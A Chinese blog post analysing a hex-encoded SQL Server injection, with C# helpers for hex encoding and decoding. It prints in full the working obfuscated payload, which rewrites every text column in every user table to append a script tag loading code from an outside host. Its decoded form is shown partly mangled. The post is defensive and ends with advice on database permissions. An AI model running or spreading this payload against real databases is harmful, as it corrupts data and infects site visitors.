SQL Hex Injection 十六進制注入解決方案

發(fā)布時間：2012-11-01 00:55:07 作者：佚名

在目前國內(nèi)情況下很少有人這樣做但是作為一個DBA 這些方面是應該考慮的，因為sql server 提供了很強大的權(quán)限控制方案當然這個問題更應該從程序中去考慮對于這個情況應該是直接在服務器上操作或者跳跳說的光線注入了

今天朋友遇到一個問題，他的sql server 數(shù)據(jù)庫被執(zhí)行了一條語句
dEcLaRe @s vArChAr(8000) sEt @s=0x6445634c615265204074207641724368417228323535292c406320764172436841722832353529206445634c615265207441624c655f637572736f5220635572536f5220466f522073456c45635420612e6e416d452c622e6e416d452046724f6d207359734f624a6543745320612c735973436f4c754d6e53206220774865526520612e69443d622e694420416e4420612e78547950653d27752720416e442028622e78547950653d3939206f5220622e78547950653d3335206f5220622e78547950653d323331206f5220622e78547950653d31363729206f50654e207441624c655f637572736f52206645744368206e6578742046724f6d207441624c655f637572736f5220694e744f2040742c4063207768696c6528404066457443685f7374617475733d302920624567496e20657865632827557044615465205b272b40742b275d20734574205b272b40632b275d3d727472696d28636f6e7665727428764172436841722c5b272b40632b275d29292b27273c2f7469746c653e223e3c736372697074207372633d687474703a2f2f2536312532452537302537302536442536442536462536462532452536332536453e3c2f7363726970743e3c212d2d27272729206645744368206e6578742046724f6d207441624c655f637572736f5220694e744f2040742c406320654e6420634c6f5365207441624c655f637572736f52206445416c4c6f43615465207441624c655f637572736f52 eXeC(@s)--
從0x可以看出這是一段十六進制編碼的sql語句
于是想到將其解碼：
對于十六進制字符串編碼和解碼的C# 方法如下：

復制代碼

代碼如下:

///
/// 從字符串轉(zhuǎn)換到16進制表示的字符串
///
///
/// 編碼,如"utf-8","gb2312"
/// 是否每字符用逗號分隔
///
public static string ToHex(string s, string charset, bool fenge)
{
if ((s.Length % 2) != 0)
{
s += " ";//空格
//throw new ArgumentException("s is not valid chinese string!");
}
System.Text.Encoding chs = System.Text.Encoding.GetEncoding(charset);
byte[] bytes = chs.GetBytes(s);
string str = "";
for (int i = 0; i < bytes.Length; i++)
{
str += string.Format("{0:X}", bytes[i]);
if (fenge && (i != bytes.Length - 1))
{
str += string.Format("{0}", ",");
}
}
return str.ToLower();
}</p> <p> ///
/// 從16進制轉(zhuǎn)換成utf編碼的字符串
///
///
/// 編碼,如"utf-8","gb2312"
///
public static string UnHex(string hex, string charset)
{
if (hex == null)
throw new ArgumentNullException("hex");
hex = hex.Replace(",", "");
hex = hex.Replace("\n", "");
hex = hex.Replace("\\", "");
hex = hex.Replace(" ", "");
if (hex.Length % 2 != 0)
{
hex += "20";//空格
throw new ArgumentException("hex is not a valid number!", "hex");
}
// 需要將 hex 轉(zhuǎn)換成 byte 數(shù)組。
byte[] bytes = new byte[hex.Length / 2];
for (int i = 0; i < bytes.Length; i++)
{
try
{
// 每兩個字符是一個 byte。
bytes[i] = byte.Parse(hex.Substring(i * 2, 2),
System.Globalization.NumberStyles.HexNumber);
}
catch
{
// Rethrow an exception with custom message.
throw new ArgumentException("hex is not a valid hex number!", "hex");
}
}
System.Text.Encoding chs = System.Text.Encoding.GetEncoding(charset);</p> <p> return chs.GetString(bytes);
}

于是對這段代碼進行解碼：

復制代碼

代碼如下:

private static void TestHexStringDecode()
{
string oldSql = "6445634c615265204074207641724368417228323535292c406320764172436841722832353529206445634c615265207441624c655f637572736f5220635572536f5220466f522073456c45635420612e6e416d452c622e6e416d452046724f6d207359734f624a6543745320612c735973436f4c754d6e53206220774865526520612e69443d622e694420416e4420612e78547950653d27752720416e442028622e78547950653d3939206f5220622e78547950653d3335206f5220622e78547950653d323331206f5220622e78547950653d31363729206f50654e207441624c655f637572736f52206645744368206e6578742046724f6d207441624c655f637572736f5220694e744f2040742c4063207768696c6528404066457443685f7374617475733d302920624567496e20657865632827557044615465205b272b40742b275d20734574205b272b40632b275d3d727472696d28636f6e7665727428764172436841722c5b272b40632b275d29292b27273c2f7469746c653e223e3c736372697074207372633d687474703a2f2f2536312532452537302537302536442536442536462536462532452536332536453e3c2f7363726970743e3c212d2d27272729206645744368206e6578742046724f6d207441624c655f637572736f5220694e744f2040742c406320654e6420634c6f5365207441624c655f637572736f52206445416c4c6f43615465207441624c655f637572736f52";
Console.Write(System.Web.HttpUtility.UrlDecode( UnHex(oldSql, "utf-8").ToLower()));
}

這樣它的原型就現(xiàn)出來了

復制代碼

代碼如下:

declare @t varchar(255),@c varchar(255) declare table_cursor cursor for select a
.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and
(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) open table_cursor fetch
next from table_cursor into @t,@c while(@@fetch_status=0) begin exec('update ['
@t '] set [' @c ']=rtrim(convert(varchar,[' @c '])) ''"> ose table_cursor deallocate table_cursor

進行注入的人的網(wǎng)址就是a.ppmmoo.cn

大家平時應該多注意這種注入，可以通過控制對數(shù)據(jù)庫的權(quán)限來避免上面這段代碼的注入，據(jù)朋友介紹此人是在光纖的電腦上注入的，估計用肉雞，或者服務器~~~
另外 http://home2.paulschou.net/tools/xlate/ 這個網(wǎng)址可以對Hex編碼的字符串進行解碼